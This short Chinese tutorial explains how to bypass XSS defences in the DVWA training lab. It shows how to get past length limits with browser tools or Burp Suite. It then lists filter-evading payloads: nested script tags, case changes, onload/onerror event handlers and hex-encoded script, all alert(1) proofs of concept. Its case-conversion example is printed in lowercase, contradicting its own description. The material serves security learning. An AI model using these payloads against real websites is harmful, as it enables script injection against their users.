xss的防护类型有很多,这里主要讲绕过长度限制和关键字过滤两种防护
1.长度限制
长度限制前端防护有两种,都很好绕过,一种是html代码中加 <maxlength="10">
这个直接用火狐的firebug改就可以了
第二种就是js验证,这个用burpsuite抓包改包即可
2.是关键字过滤
像dvwa中的中级代码中就对<script>进行了过滤
<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { echo '<pre>'; echo 'Hello ' . str_replace('<script>', '', $_GET['name']); echo '</pre>'; } ?>
绕过思路
(1)<s<script>c<script>r<script>i<script>p<script>t>alert(1)
</s<script>c<script>r<script>i<script>p<script>t>
(2)转换大小写(正则表达式未匹配大小写)如:<script>alert(1)</script>
(3)使用其他语句执行js
<body onload="alert(1)">//按钮事件
<img src ="" onerror="alert(1)">//加载图片,图片不存在加载后面的语句
(4)hex编码
<script>alert(1);</script> 可以转换为:%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3B%3C%2F%73%63%72%69%70%74%3E,加载到url中就可以了
pass:过滤大小写的情况$name=preg_replace("/<script>/i","",$name);//过滤大小写的script(/i,大小写都替换)